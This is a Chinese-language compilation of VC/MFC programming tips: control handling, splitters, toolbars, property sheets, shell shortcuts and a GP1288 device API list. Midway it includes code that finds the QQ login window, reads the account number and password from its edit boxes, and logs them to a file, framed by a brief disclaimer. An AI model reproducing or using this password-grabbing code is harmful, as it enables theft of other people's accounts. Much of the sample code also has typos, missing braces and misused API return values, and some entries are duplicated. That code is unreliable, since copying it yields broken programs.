FAQ of VC/MFC

 

Q 如何处理ComboBox中的回车键?避免退出程序?
A 在一般的EDIT中采用的方法是处理PretranlateMessage(),执行代码
CWnd *pWnd = GetFocus();
if(pWnd != NULL)
{
  if(pWnd == GetDlgItem(IDC_EDIT1)
  {
     ...//IDC_EDIT1具有焦点
  }
}
 
但在ComboBox中好象不同,是ComboBox的编辑控件得到了焦点,所以判断代码:
BOOL CDlg::PreTranslateMessage(MSG *pMsg)
{
   if(pMsg->message==WM_KEYDOWN && pMsg->wParam == VK_RETURN)
   {
      CWnd *pWnd = GetFocus();
      if(pWnd != NULL)
      {
         if(pWnd->GetParent() == GetDlgItem(IDC_COMBO1)//更改ID
         {
               return TRUE;
         }
      }
   }
   return CDialog::PreTranslateMessage(pMsg);
}

//-------------------------------------------------
Q 动态创建的组合框如何设置下拉列表框的高度?
A m_combo.Create(WS_CHILD | WS_VISIBLE | WS_VSCROLL CBC_SORT | CBC_DROPDOWNLIST | WS_TABSTOP, CRect(320,10,580,280),this,114);
//CRect的最后一个参数(这里是280)就表示下拉大小

//-------------------------------------------------
Q 是否能不选择下拉列表样式而禁止用户输入值,有什么方法可以实现?
A 将下拉列表的编辑控件设置为只读的,方法如下:
CComboBox *pcombo;
CWnd *pWnd = pcombo->GetWindow(GW_CHILD);
while(pWnd)
{
  char classname[256];
  ::GetClassName(pWnd->m_hWnd,classname,256)
  if(strcmp(classname,"edit") == 0)
  {
     CEdit *pEdit;
     pEdit = new CEdit();
     pEdit->SubClassWindow(pWnd->m_hWnd);
     pEdit->SetReadOnly();
     pWnd = pWnd->GetNextWindow();
     delete pEdit;
  }
  if(pWnd)
     pWnd = pWnd->GetNextWindow();
}

//-------------------------------------------------
Q ComboBox的自定义弹出菜单,想在右击组合框的编辑部分的时候弹出菜单?
A 一种方法就是在CCustomCombo的OnCtlColor函数里进行,生成ComboBox中编辑框的子类,示例:
HBRUSH CCustomCombo::OnCtlColor(CDC *pDC,CWnd *pWnd,UINT nCtlColor)
{
  if(nCtlColor == CTLCOLOR_EDIT)
  {
     if(m_edit.GetSafeHwnd()==NULL)
        m_eidt.SubClassWindow(pWnd->GetSafeHwnd());
  }
  HBRUSH hbr = CComboBox::OnCtlColor(pDC,pWnd,nCtlColor);
  return hbr;
}
//其中m_edit是CEdit类的实现,它在WM_RBUTTONUP上显示右键菜单

//-------------------------------------------------
Q 如何给按钮加位图

对动态创建的按钮:
CButton button;
button.Create(_T("My Button"),WS_CHILD | WS_VISIBLE | BS_BITMAP,CRect(10,10,60,50),pParentWnd,1);
button.SetBitmap(::LoadBitmap(NULL,MAKEINTRESOURCE(IBM_CHECK)));
或者修改风格:
UINT Style = Button.GetButtonStyle();
Style = Style | BS_BITMAP;
Button.SetBitmap(::LoadBitmap(NULL,MAKEINTRESOURCE(IBM_CHECK)));

//-------------------------------------------------
Q 如何在CButton派生类中以及父对话框中捕获BN_CLICKED消息?
A 于WM_NOTIFY消息相反,通知消息BN_CLICKED作为WM_COMMAND消息发送。因此应用程序应该使用ON_CONTROL_REFLECT_EC而不是ON_NOTIFY_REFLECT

//-------------------------------------------------
Q 如何判断某个对象是否具有当前焦点?
A return (CWnd::GetFocus() == pWnd);

//-------------------------------------------------
Q 如何设置编辑控件的数字限制属性?
A
long Style = GetWindowLong(m_EditCtrl.m_hWnd,GWL_STYLE);
Style |= ES_NUMBER;
SetWindowLong(m_EditCtrl.m_hWnd,GWL_STYLE,Style);

//-------------------------------------------------
Q 希望在LISTCTRL中显示文件,如何才能得到explorer使用的相同图象?
A 可以将系统的ImageList加到LISTCTRL上,然后用具有SHGFI_ICON标志的SHGetFileInfo获取适当的图标索引:
//图象列表设置
HIMAGELIST himagelist;
SHFILEINFO fi;
CImageList m_smalllist;
//得到系统小图标列表的句柄
himagelist = (HIMAGELIST)SHGetFileInfo((LPCTSTR)_T("C://"),0,&fi,sizeof(SHFILEINFO),SHGFI_SYSICONINDEX | SHGFI_SMALLICON);
//添加到小图象列表
m_smalllist.Attach(himagelist);
//设置LISTCTRL的图象列表
m_listCtrl.SetImageList(&m_smalllist,LVSIL_SMALL);
//分离图象列表
m_smalllist.Detach();

//-------------------------------------------------
Q 如何在列表的任何一列显示图标,而不是第一列?

LV_ITEM item;
...
item.mask = LVIF_TEXT | LVIF_IMAGE | LVIF_STATE | LVIF_PARAM;
item.iItem = ...//设置行号
item.lParam = ...//如何需要就设置lparam参数
item.iSubItem = ...//设置列号,从0开始的
item.stateMask = LVIS_STATEIMAGEMASK;
item.state = INDEXTOSTATEIMAGEMASK(...);//参数为图标号
item.iImage = ...//设置图标号
item.pszText = ...//显示文本
//插入新项
m_listctrl.InsertItem(&item);
//现在设置图标
m_listctrl.SetItemText(0,4,szField);

//-------------------------------------------------
Q 给LISTBOX添加新项时如何实现自动下滚?
A 在调用AddString后,添加如下代码:
m_listbox.SetTopIndex(m_listbox.GetCount()-1);

//-------------------------------------------------
Q listBox的文本超过框的宽度时,如何让水平滚动条正常工作?
A 用下面的代码,设置滚动条的宽度为最长的字符串宽度
void SetHorizontalExtent(CListBox &listbox)
{
    int index = listbox.GetCount();
    if(index == LB_ERROR)
       return;
    int nExtent = 0;
    if(index)
    {
        CDC *pDC = listbox.GetDC();
 CFont *poldfont = pDC->SelectObject(listbox.GetFont());
 CString s;
 SIZE text;
 LONG maxtxt = 0;
 whilw(index--)
 {
             listbox.GetText(index,s);
      text = pDC->GetOutputTextExtent(s);
      if(text.cx > maxtxt)
                 maxtxt = text.cx;
  }
        text.cx = maxtxt;
      pDC->LPToDP(&text);
      nExtent = text.cx+2;
      pDC->SelectObject(poldfont);
      listbox.ReleaseDC(pDC);
    }   
    listbox.SetHorizontalExtent(nExtent);
}

//-------------------------------------------------
Q 在拆分视图的时候,创建了四个视图(2行2列),右下的是CFormView,其他的都是CView,在CMainFrame的OnCreateCilent不管怎么指定CRect的大小,下方的两个视图都占了整个窗口,需要拖动!
A 一般只需要在OnCreateClient的末尾添加:
m_wndSpitter.SetRowInfo(0,200,0);//添加此行代码


(第二部分)
//-------------------------------------------------
Q 如何指定拆分窗口的最小宽度?
A 使用CSpitterWnd::SetColumnInfo()
  void SetColumnInfo(int col, //指定列
       int deal, //理想宽度(像素)
       int cxmin); //最小宽度(像素)
 在使用SetColumnInfo之后还应该调用RecalLayout();重新调整布局。
  
//--------------------------------------------------
Q 如何判断工具栏是水平还是垂直的?
A if((m_toolbar.GetBarStyle() & CBRS_ALIGN_LEFT) == CBRS_ALIGN_LEFT || 

(m_toolbar.GetBarStyle() & CBRS_ALIGN_RIGHT) == CBRS_ALIGN_RIGHT)
     AfxMessageBox("vertical");
  else
     AfxMessageBox("horizontal");

//--------------------------------------------------
Q 编程方式修改工具栏按钮的可见性?
A 示例代码:
DWORD style = m_toolbar.GetButtonStyle(nIndex);
if(m_bHide)
   m_toolbar.SetButtonStyle(nIndex,style & ~WS_VISIBLE);
else
   m_toolbar.SetButtonStyle(nIndex,style | WS_VISIBLE);
m_bHide = !m_bHide;

//--------------------------------------------------
Q 如何在状态栏添加按钮并响应?
A 创建一个从CButton派生的CMyButton类,在主框架类添加CMyButton类的成员变量,然后在OnCreate函数中创建按钮,并把它和状态栏关联起来:
m_mybtn.Create("MyButton",WS_CHILD | VISIBLE,CRect(0,0,60,20),&m_WndStatusBar,0);
通过处理BN_CLICKED消息,可以在CMyButton类中处理所有的点击事件

//--------------------------------------------------
Q 如何隐藏属性CPropertySheet的标题栏,使用ModifyStyle(WINDOW_CAPTION,0)没有效果
A 创建自己的CPropertySheet派生类,并覆盖OnInitDialog,转到默认的情况后,使用ModifyStyle来删除WS_CAPTION标志

//--------------------------------------------------
Q 如何让属性页有两行标签?
A 从CPropertySheet派生类,添加PreCreateWindow的处理,在调用基类之前添加代码:
 cs.style |= TCS_MULTILINE;

//------------------------------------------------------
Q 如何在属性表的两个页之间传递数据?

CPropertyPage有一个成员函数QuerySiblings(WPARAM, LPARAM)。应用程序可以使用这个函数。
QuerySiblings生成一条PSM_QUERYSIBLINGS消息,它传递给所有的兄弟,也就是属性表上的其他属性页。   一般可创建一个所有页可见的枚举,如:
 enum{QUERY_MY_STRING,  QUERY_SOMETHING_ELSE,.......}
然后,在一个属性页需要其他属性页中的信息时,使用代码:
CString myString;
if(lL == QuerySiblings(QUERY_MY_STRING,(LPARAM)&myString))
{
         ....//获取字符串
}
提供字符串的页处理PSM_QUERYSIBLINGS消息:
LRESULT CPageThatHasString::OnQuerySiblings(WPARAM wParam, LPARAM lParam)
{
        if(QUERY_MY_STRING == wParam)
       {
              *((CString *)lParam) = _T("Test String");
               return 1L;
       }
       else
              return 0L;
}

//----------------------------------------------------------
Q  如何让属性页具有两行标签?
A  
从CPropertySheet派生一个自己的类,添加一个PreCreateWindow的处理,然后在调用基类的处理前加如下代码:cs.style |= TCS_MULTILINE;

//-----------------------------------------------------------
Q  如何隐藏属性页的标题栏?
A  
从CPropertySheet派生一个自己的类,并覆盖OnInitDialog,在转到默认的情况以后,使用 ModifyStyle来删除标题栏标志WS_CAPTION。
   ModifyStyle(WS_CAPTION,0);

//-------------------------------------------------------------------
Q 如何枚举桌面项目?
A
1 得到指向IShellFolder接口的指针
2 得到指向IMalloc接口的指针
3 得到指向IEnumIDList接口的指针
4 提取枚举中下一项目的PIDL
5 测定PIDL代表的标志符的类型
6 处理该项目
7 释放PIDL分配的内存
8 重复4到7步,知道所有的项目都枚举完
9 释放IShellFolder IMalloc IEnumIDList接口的指针

LPSHELLFOLDER lpshellfolder;
LPMALLOC lpmalloc;
LPENUMIDLIST lpidlist;
m_namecount = 0;
HRESULT hr = SHGetDestopFolder(&lpshellfolder);
if(hr == NOERROR)
{
    hr = ::SHGetMalloc(&lpmalloc);
    if(hr == NOERROR)
    { 
        hr = lpshellfolder->EnumObject(NULL,SHCONTF_FOLDERS | SHCONTF_NONFOLDERS,&lpidlist);
        if(hr == NOERROR)
             ProcessFolder(lpshellfolder,lpmalloc,lpidlist);//custom deal function
        lpmalloc->Release();
        lpidlist->Release();
        InValidate();
    }
    lpshellfolder->Release();
}
 
void ***::ProcessFolder(LPSHELLFOLDER lpshellfolder,LPMALLOC lpmalloc,LPENUMIDLIST lpidlist)
{
   STRRET strret;
   ULONG numfetch;
   LPITEMIDLIST lpitemlist;
   HRESULT hr = lpidlist->Next(1,&lpitemlist,&numfetch);
   while(hr == NOERROR)
   {
       ULONG attributes = SFGAO_FOLDER;
       lpshellfolder->GetAttributes(1,(const struct _ITEMIDLIST **)&lpitemlist,&attributes);
       if(attributes & SFGAO_FOLDER)
       {
           hr = lpshellfolder->GetDiaplayNameOf(lpitemlist,SHGDN_NORMAL,&strret);
           if(m_nameCount < 20)
               m_names[m_namecount++] = strret.str;
       }
       lpmalloc->Free(lpitemlist);
       hr = lpidlist->Next(1,&lpitemlist,&numfetch);
   }
}
//-------------------------------------------------------------------
Q  如何创建桌面快捷方式?
A:
1 initialize com
2 create LShellLink Object
3 Use IShellLink interface to get the pointer about IPersistFile
4 Use IShellLink interface to initialize link
5 Use LPersistFile interface to save the link
6 Release all the com pointer
7 Com return to previous status


HRESULT hr = CoInitialize(NULL);
if(hr == S_OK)
{
  ...//Continue
}

2
IShellLink *pshelllink;
pshelllink = CoCreateInstance(CLSID_ShellLink,NULL,CLSCTX_INPROC_SERVER,IID_IShellLink,(void **)&pshelllink);

3
IPersistFile *persistfile;
persistfile = pshelllink->QueryInterface(IID_IPersistFile,(void **)&persistfile);

4
pshelllink->SetPath("C://config.sys"); 
pshelllink->SetDescription("ShortCut to config.sys");

5
char path[MAX_PATH];
GetWindowsDirectory(path,MAX_PATH);
int len = strlen(path);
strcpy(&path[len],"//desktop//config.lik");
//change the char from ANSI to UNICODE
OLECHAR widepath[MAX_PATH];
MultiByteToWideChar(CP_ACP,0,path,-1,widepath,MAX_PATH);
persistfile->Save(widepath,TRUE);

6
pshelllink->Release();
psersistfile->Release();

7
CoUnInitialize();


http://blog.csdn.net/jiangsheng/archive/2005/02/28/304654.aspx
大部分是C++的......也有一些是Delphi,VB.Net和C#。将就看吧。

 

在MFC程序的任意位置调用theApp这个全局变量的方法:很多时候需要访问theApp,你可以使用AfxGetApp(),但是可以有更简单的方法,你可以在CXXXApp的定义后面跟一句:extern CXXXApp theApp;这样在其它的地方如果要使用theApp这个全局变量就不用单独写一句extern CXXXApp theApp了。因为MFC程序一般每加入一个新类,在它的实现文件中都会包含你的工程的.h文件,也就是包含了那句extern的声明。

 

关于FindWindowEx和EnumChildWindows结合枚举任何一个控件的简单示例,以下代码以qq为例,只抛砖引玉~~呵呵

申明:本文章仅从技术角度讨论这两个函数的使用方法,任何人可以自由传播/复制,但不得用做其他非法用途,否则责任自负.

BOOL CALLBACK EnumqqChildProc(HWND hwndChild, LPARAM lParam) 
{ //如果找到qq窗口,调用这个过程枚举控件,得到密码和号码
 char num[11];//qq号码
 char pwd[20];//qq密码
 BOOL b = true;
 HWND CobHwnd = ::FindWindowEx(qqHwnd,NULL,"ComboBox",NULL);//得到下拉列表句柄
 HWND EditNumHwnd = ::FindWindowEx(CobHwnd,NULL,"Edit",NULL);//得到号码文本框句柄
 

//以下循环是得到密码框句柄
 HWND EditPWDHwnd = ::FindWindowEx(qqHwnd,NULL,"Edit",NULL);
 HWND AfterHwnd = NULL;
 while(b)
 {
  LONG lStyle = ::GetWindowLong(EditPWDHwnd, GWL_STYLE);//这个api很有用,可以得到很多东西
  if( (lStyle & ES_PASSWORD))//如果有密码属性,就是密码框
  { 
   b=false;
  }
  else
  { 
   AfterHwnd = EditPWDHwnd;
   EditPWDHwnd = ::FindWindowEx(qqHwnd,AfterHwnd,"Edit",NULL);
  }
  if(EditPWDHwnd==NULL)
   return true;
 }
 //通过WM_GETTEXT取得,窗口中的文本;
 SendMessage(EditNumHwnd,WM_GETTEXT,(WPARAM)11,(LPARAM)num);
 SendMessage(EditPWDHwnd,WM_GETTEXT,(WPARAM)20,(LPARAM)pwd);


 //记录号码和密码

 CString str;
 str.Format("/r/n号码:%s  密码:%s",num,pwd);
 CFile f;
 f.Open("c://pwd.txt",CFile::modeCreate|CFile::modeWrite|CFile::modeNoTruncate);
 f.SeekToEnd();
 f.Write(str,str.GetLength());
 bLoop= false;
 return false;
 
 return TRUE; 

BOOL CALLBACK EnumChildProc(HWND hwndChild, LPARAM lParam) 
{ //这个回调函数就是用来找到qq窗口句柄
 char strTitle[80];
 if(::GetWindowText(hwndChild,strTitle,80))
  if(strstr(strTitle,"QQ密码")!=0)//如果标题中有"QQ密码"字串,就视为找到
  {
   bFindqq = true;
   return false; 
  }
  return TRUE;


//调用的代码:

 HWND hwnd=NULL;//::FindWindow((LPCSTR)"#32770",NULL);
 HWND AfterHwnd = NULL;
 while(!bFindqq)//bFindqq是一个全局变量,标志是否找到了qq窗口
 { 
  hwnd=::FindWindowEx(NULL,AfterHwnd,(LPCSTR)"#32770",NULL);
  if(!hwnd)
   break;
  AfterHwnd = hwnd;
  EnumChildWindows(hwnd,EnumChildProc,NULL);
  if(bFindqq)
   qqHwnd = hwnd;
 }
 if(bFindqq)
  EnumChildWindows(hwnd,EnumqqChildProc,NULL);

 

API列表参考手册(1)[推荐]  

********************************** 
* 系统函数 * 
********************************** 

------------------------------ 
------------------------------ 
名称 GetClipboardSize 
原型 long GetClipboardSize (void) 
描述 得到当前剪贴板中的数据长度 
返回值:数据长度 
参见 
------------------------------ 
名称 IsClipboardEmpty 
原型 BOOL IsClipboardEmpty (void) 
描述 检测剪贴板是否为空 
返回值:空为TRUE,非空为FALSE 
参见 
------------------------------ 
名称 EmptyClipboard 
原型 BOOL EmptyClipboard (void) 
描述 清空剪贴板内容 
返回值:成功返回TRUE,失败返回FALSE 
参见 
------------------------------ 
名称 IsClipboardFormatAvailable 
原型 BOOL IsClipboardFormatAvailable (UINT uFormat) 
描述 检测剪贴板内数据的类型 
返回值:成功返回TRUE,失败返回FALSE 
现支持类型 : CF_TEXT,即目前只支持文本(其它类型以后再提供) 
参见 
------------------------------ 
名称 SetClipboardData 
原型 HANDLE SetClipboardData (UINT uFormat, HANDLE hMem) 
描述 按照数据的类型向剪贴板写入内容 
uFormat 数据的类型 
hMem 数据的地址 
返回值:成功返回TRUE,失败返回FALSE 
现支持类型 : CF_TEXT 
参见 GetClipboardDat 
------------------------------ 
名称 GetClipboardData 
原型 HANDLE GetClipboardData (UINT uFormat) 
描述 按照数据的类型取得剪贴板数据地址 
返回值:成功返回地址,失败返回NULL 
uFormat 现只支持 CF_TEXT 
参见 SetClipboardData 
------------------------------ 
名称 SelectClipRgn 
原型 int WINAPI SelectClipRgn(HDC hdc, HRGN hrgn) 
描述 设置图形设备的客户显示区域,直接拷贝方式 
hdc: 图形设备的句柄 
hrgn: 区域数据指针 
返回值:成功返回区域类型,失败返回 NULLREGION(0xffffffff) 
参见 ExtSelectClipRgn 
------------------------------ 
名称 ExtSelectClipRgn 
原型 int WINAPI ExtSelectClipRgn(HDC hdc, HRGN hrgn, int fnMode) 
描述 设置图形设备的客户显示区域 
hdc : 图形设备的句柄 
hrgn : 区域数据指针 
fnMode : 设置方式: 
RGN_COPY 直接拷贝 
RGN_AND 取hdc旧区域和hrgn的公共部分 
RGN_OR hdc旧区域和hrgn 叠加 
RGN_XOR hdc旧区域和hrgn 的不同部分 
RGN_DIFF hdc旧区域和hrgn 相减 
返回值:成功返回区域类型,失败返回 NULLREGION(0xffffffff) 
参见 SelectClipRgn 
------------------------------ 
名称 SwitchTo 
原型 void SwitchTo (char *fullpath, char *args) 
描述 切换到另一个任务 
fullpath 另一任务的完整路径名称 
args 参数,如有多个参数中间用空格分隔 
我们推荐用SwitchTo和下面提到的QuitTo来切换MicroWindow的AP,因为MW的AP不在通常的任务 
管理中管理。如果切换的不是MW的AP,还是用系统的 exec,fork。 
参见 QuitTo 

 

名称 QuitTo 
原型 void QuitTo (char *fullpath, char *args) 
描述 退出当前的MicroWindow程序,并切换到另一任务 
参见 SwitchTo 
------------------------------ 
名称 InputBox 
原型 char *InputBox (char *buf, int buf_len, const char *text1, const char *text2, BOOL pwd_mask) 
描述 用来获得用户输入文本的简单方法 
buf 保存用户输入文本的缓冲区 
buf_len 缓冲区长度 
text1 字符串1 
text2 字符串2 
pwd_mask 当输入是密码时,显示的是"*"来加以保护。 
TRUE 密码输入 
FALSE 非 
返回值:如取消输入返回NULL,否则返回字串长度 
注意:缓冲区可以为空,也可有预设值。如果你希望这个输入框上有预设的内容时,可以将其填到 
buf上。buf的长度最大为255。 
参见 
------------------------------ 
名称 EnableBuzzer 
原型 void EnableBuzzer (BOOL on) 
描述 在系统的蜂鸣器开启时,使能当前AP的蜂鸣器 
on TRUE 使能 FALSE 关闭 
注意:此函数的使用不会影响到系统的蜂鸣器状态 
参见 IsBuzzerOn 
------------------------------ 
名称 IsBuzzerOn 
原型 BOOL IsBuzzerOn (void) 
描述 检测当前的蜂鸣器是否开启 
返回值:TRUE 开启 FALSE 关闭 
参见 EnableBuzzer 
------------------------------ 
名称 ControlBuzzer 
原型 void ControlBuzzer (int freq, int duration) 
描述 控制蜂鸣器以特定的频率和时间发音 
freq 发音频率 
duration 持续时间 
参见 Beep 
------------------------------ 
名称 Beep 
原型 void Beep (void) 
描述 蜂鸣器发出"吡"的一声。这相当于用4K的频率,100的duration调用ControlBuzzer 
参见 ControlBuzzer 
------------------------------ 
名称 ControlRedLED 
原型 void ControlRedLED (BOOL on) 
描述 控制GP1288的红色LED灯 
on TRUE 开启 FALSE 关闭 
同样的,这也不会影响到系统对LED的设定 
参见 ControlGreenLED 
------------------------------ 
名称 ControlGreenLED 
原型 void ControlGreenLED (BOOL on) 
描述 控制GP1288的绿色LED灯 
on TRUE 开启 FALSE 关闭 
参见 ControlRedLED 
------------------------------ 
名称 ControlMotor 
原型 void ControlMotor (BOOL on) 
描述 控制GP1288的震动马达 
on TRUE 开启 FALSE 关闭 
参见 
------------------------------ 
名称 ControlButton 
原型 void ControlButton (int speed) 
描述 在本任务内,控制键盘连续按键的响应速度 
speed 速度值,范围在-10到50之间由慢变快 
切换到其他任务后,响应速度恢复变为默认值 
参见 
------------------------------ 
名称 SetLocalLanguage 
原型 void SetLocalLanguage (int lang) 
描述 在本任务内设置语言选项 
lang 0:大陆,GB码 1:台湾,Big5码 2:香港,Big5码 3:英文 -1:禁止切换 
当使用此函数设置语言后后,一般需要更新屏幕,通知控件他们的显示。 
实际上,这只是设置显示文字的方式,就是说,是用GB码还是Big5码的格式读取和显示汉字。 
参见 GetLanguage 
------------------------------ 
名称 GetLanguage 
原型 int GetLanguage (void) 
描述 得到语言设置的返回值 
返回值:lang 0:北京,GB码 1:台湾,Big5码 2:香港,Big5码 3:英文 -1:禁止切换 
参见 SetLocalLanguage 
------------------------------ 
名称 GetRegionCode 
原型 int GetRegionCode (void) 
描述 得到GP1288的区域号 
返回值:0:北京 1:台湾 2:香港 3:英文 -1:出错 
参见 
------------------------------ 
名称 GetProductName 
原型 int GetProductName (char *buf) 
描述 得到产品名称 
buf 读出的产品名称 
返回值:如果buf==NULL 返回实际需要的长度 
否则,成功返回0;失败返回-1 
参见 GetSerialNumber 
------------------------------ 
名称 GetSerialNumber 
原型 int GetSerialNumber (char *buf) 
描述 得到GP1288的S/N(串号) 
buf 读出的S/N 
返回值:如果buf==NULL 返回实际需要的长度 
否则,成功返回0;失败返回-1 
参见 GetProductName 
------------------------------ 
名称 GetPanelKeys 
原型 BOOL GetPanelKeys (BOOL bEnable) 
描述 系统是否产生(UP,DOWN,LEFT,RIGHT,HOME,END)6个按键消息 
在GP1288上,我们将按键分组,这6个按键(就是方向键和边上两个键)归于PanelKeys组,可以 
通过程序设定是否起作用,即按下后是否发送按键消息,能被系统接收。其虚拟键值为: 
VK_UP 方向键上 
VK_DOWN 方向键下 
VK_LEFT 方向键左 
VK_RIGHT 方向键右 
VK_HOME HOME键,默认也是Holink键 
VK_END END键,默认是邮件键 
bEnable TRUE ,产生按键消息;FALSE 不产生按键消息 
参见 GetSoftKeys 
------------------------------ 
名称 GetSoftKeys 
原型 BOOL GetSoftKeys (BOOL bEnable); 
描述 系统是否产生目录、菜单、查找、计算、字典、切换、红外、录音的按键消息 
在GP1288上,我们将按键分组,这8个按键归于SoftKeys组,可以通过程序设定是否起作用,即按 
下后是否发送按键消息,能被系统接收。其虚拟键值为: 
VK_F1 软键盘上的目录键 
VK_F2 软键盘上的菜单键 
VK_F3 软键盘上的查找键 
VK_F4 软键盘上的计算键 
VK_F5 软键盘上的字典键 
VK_F6 软键盘上的切换键 
VK_LBUTTON 红外键 
VK_RBUTTON 录音键 
bEnable TRUE ,产生按键消息;FALSE 不产生按键消息 
参见 GetPanelKeys 
------------------------------ 
名称 IsGetPanelKeys 
原型 BOOL IsGetPanelKeys (void) 
描述 系统是否允许PanelKeys起作用 
返回值:TRUE 起作用 FALSE 不起作用 
参见 GetPanelKeys 
------------------------------ 
名称 IsGetSoftKeys 
原型 BOOL IsGetSoftKeys (void) 
描述 系统是否允许目录、菜单、查找、计算、字典、切换、红外、录音键起作用 
返回值:TRUE 起作用 FALSE 不起作用 
参见 GetSoftKeys 
------------------------------ 
名称 InitXime 
原型 #i nclude 
HWND InitXime (HWND owner, InputMethod ime) 
描述 以设定的方式初试化输入法 
owner 欲开启输入法的窗口句柄 
ime 输入法代表字 
返回值:输入法句柄值,出错返回NULL 
输入法代表字含义: 
XIME_NONE 最小化 
XIME_ASCII ASCII字符输入 
XIME_SYMBOL 符号输入 
XIME_PHONE 电话符号输入 
XIME_CJ 繁体仓颉输入法 
XIME_BOSHIAMY 繁体注音 
XIME_HANDWRITE 手写输入 
XIME_SPCODE 大写符号 
XIME_PINYIN 全拼输入 
XIME_WUBI 五笔输入 
XIME_DEFAULT 系统默认输入法 
XIME_USER 自定义输入法 
输入法变化后会自动发出信息 
WM_XIME_MINIMIZE 输入法最小化 
WM_XIME_RESTORE 从最小化恢复 
WM_XIME_CHANGED 输入方式变化 
注意:调用初试化输入法的时间应在Winmain()中的CreatWindow或对话框建立后,并且 
InitXime只能被调用一次,除非你已经销毁过他。 
参见 InitXimeEx 

 

------------------------------ 
名称 InitXime 
原型 #i nclude 
HWND InitXime (HWND owner, InputMethod ime) 
描述 以设定的方式初试化输入法 
owner 欲开启输入法的窗口句柄 
ime 输入法代表字 
返回值:输入法句柄值,出错返回NULL 
输入法代表字含义: 
XIME_NONE 最小化 
XIME_ASCII ASCII字符输入 
XIME_SYMBOL 符号输入 
XIME_PHONE 电话符号输入 
XIME_CJ 繁体仓颉输入法 
XIME_BOSHIAMY 繁体注音 
XIME_HANDWRITE 手写输入 
XIME_SPCODE 大写符号 
XIME_PINYIN 全拼输入 
XIME_WUBI 五笔输入 
XIME_DEFAULT 系统默认输入法 
XIME_USER 自定义输入法 
输入法变化后会自动发出信息 
WM_XIME_MINIMIZE 输入法最小化 
WM_XIME_RESTORE 从最小化恢复 
WM_XIME_CHANGED 输入方式变化 
注意:调用初试化输入法的时间应在Winmain()中的CreatWindow或对话框建立后,并且 
InitXime只能被调用一次,除非你已经销毁过他。 
参见 InitXimeEx 
------------------------------ 
名称 InitXimeEx 
原型 HWND InitXimeEx (HWND owner, InputMethod ime, int sub, int visible) 
描述 用附加属性修饰的初试化输入法 
owner 欲开启输入法的窗口句柄 
ime 输入法代表字 
sub 0:默认符号 1:半角符号 2:全角符号 
参见 InitXime 
------------------------------ 
名称 SelectXime 
原型 void SelectXime (InputMethod ime) 
描述 在使用中改变输入法 
参见 InitXime 
------------------------------ 
名称 SelectXimeEx 
原型 void SelectXimeEx(InputMethod ime, int sub) 
描述 在使用中改变输入法,并有附加属性修饰 
参见 SelectXime,InitXime,InitXimeEx 
------------------------------ 
名称 SetXimeOwner 
原型 HWND SetXimeOwner(HWND owner) 
描述 在其他对话框中使用输入法时,要调用此函数设定。 
输入法作为一个控件,只能被一个窗体所使用。如果你想在另外一个窗口控件(比如对话框)中使 
用,必需为它设定新的属主。 
不过千万要记得,在销毁新属主前要将 owner 设回来。 
owner 新属主的句柄 
返回值:前次属主的句柄 
参见 
------------------------------ 
名称 DestroyXime 
原型 void DestroyXime(void) 
描述 手工销毁输入法控件 
参见 InitXime 
------------------------------ 
名称 ReInitXime 
原型 int ReInitXime (void) 
描述 手工重新刷新输入法控件。 
这并没有破坏原有的句柄,只是重新刷新。 
当切换语言时需要这样手工刷新。 
参见 InitXime 
------------------------------ 
名称 GetSelectedIME 
原型 InputMethod GetSelectedIME (void) 
描述 返回当前的输入法输入类型 
参见 InitXime 
------------------------------ 
名称 GetXimeSubStyle 
原型 int GetXimeSubStyle (void) 
描述 返回当前输入法的附加修饰类型 
参见 InitXime 
------------------------------ 
名称 GetXimeHandler 
原型 HWND GetXimeHandler (void) 
描述 返回输入法控件的句柄 
必需在InitXime之后才能调用。 
还要注意的是,如果是自定义的输入法,请不要调用此函数。 
参见 
------------------------------ 
名称 PopupXimeMenu 
原型 void PopupXimeMenu (int x, int y) 
描述 输入法的弹出菜单(就是那个有各种输入法选项的菜单)的位置 
x 横坐标位置 y 纵坐标位置 
参见 EnableXimeMinimize 
------------------------------ 
名称 EnableXimeMinimize 
原型 int EnableXimeMinimize (BOOL bEnable); 
描述 在输入法弹出菜单上激活(取消)最小化选项 
缺省状态下,输入法控件弹出菜单是没有最小化选项的, 
调用此函数可以使其出现 
bEnable TRUE 显示最小化选项 FALSE 隐藏最小化选项 
返回值:0 成功 -1 失败 
参见 PopupXimeMenu 
------------------------------ 
名称 DefXimeProc 
原型 LRESULT CALLBACK DefXimeProc (HWND, UINT, WPARAM, LPARAM) 
描述 缺省的输入法处理部件。 
如果您写了外挂的自定义输入法,就应该使用DefXimeProc()作为缺省的消息处理部件,在 
UserXimeProc()中替代DefWindowProc() 
参见 DefWindowProc 
------------------------------ 

********************************** 
* 用户界面函数 * 
********************************** 

------------------------------ 
名称 WinMain 
原型 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,PSTR szCmdLine, int iCmdShow) 
描述 此函数被系统呼叫,作为MicroWindow程序的初试化入口点,相当于C程序中的main() 
hInstance 该程序的实例句柄 
hPrevInstance 其他实例的句柄,但实际上其总为NULL 
szCmdLine 用于运行程序的命令行,某些AP使用这个参数以在程序启动时将文件加载到内存 
iCmdShow 程序最初显示的方式 
实际上,我们不需要在WinMain时考虑这些参数,这些参数实际上是被MicroWindow传递并使用的 
返回值:WinMain带来的消息循环在接收到WM_QUIT时退出,同时返回退出代码 
如果在消息循环之前即退出,返回0 
参见 CreateWindow,RegisterClass,ShowWindow,UpdateWindow 

Q
如何得到物理内存的大小?
A
MEMORYSTATUS mem_stat;
GlobalMemoryStatus(&mem_stat);
CString str;
str.Format("%d,%3dKB",mem_stat.dwTotalPhys/1024/1000,mem_stat.dwTotalPhys/1024-mem_stat.dwTotalPhys/1024/1000*1000);
GetDlgItem(IDC_MEMPHYS)->SetWindowText(str);IDC_MEMPHYS就是显示内存的控件ID

Q
如何得到windows系统剪贴板消息?(ctrl+c 和右键的复制)
A
SetClipboardViewer会将你的窗口加入到一个链表的最前面,以后每次剪贴板内容发生变化,系统会发出wm_drawclipboard消息给这个链表的第一个结点  
你可以参考:  
ClipSpy---A  tool  for  viewing  clipboard  and  drag-and-drop  data    
http://www.codeproject.com/clipboard/clipspy.asp

Q
在工作线程中调用UpdateData函数怎么抛出异常呢?
A
简单的说,不能跨线程访问MFC窗口对象。MFC句柄封装类只在创建句柄的线程中有效,在其它线程中访问会出现无法预料的结果。适当的访问方式是直接访问句柄。更多信息参见http://www.csdn.net/develop/read_article.asp?id=23171  
你需要另外想办法,例如在线程类中声明一个指针,AfxBeginThread的时候以暂停方式启动线程,设置指针为文档指针之后继续线程的运行。  
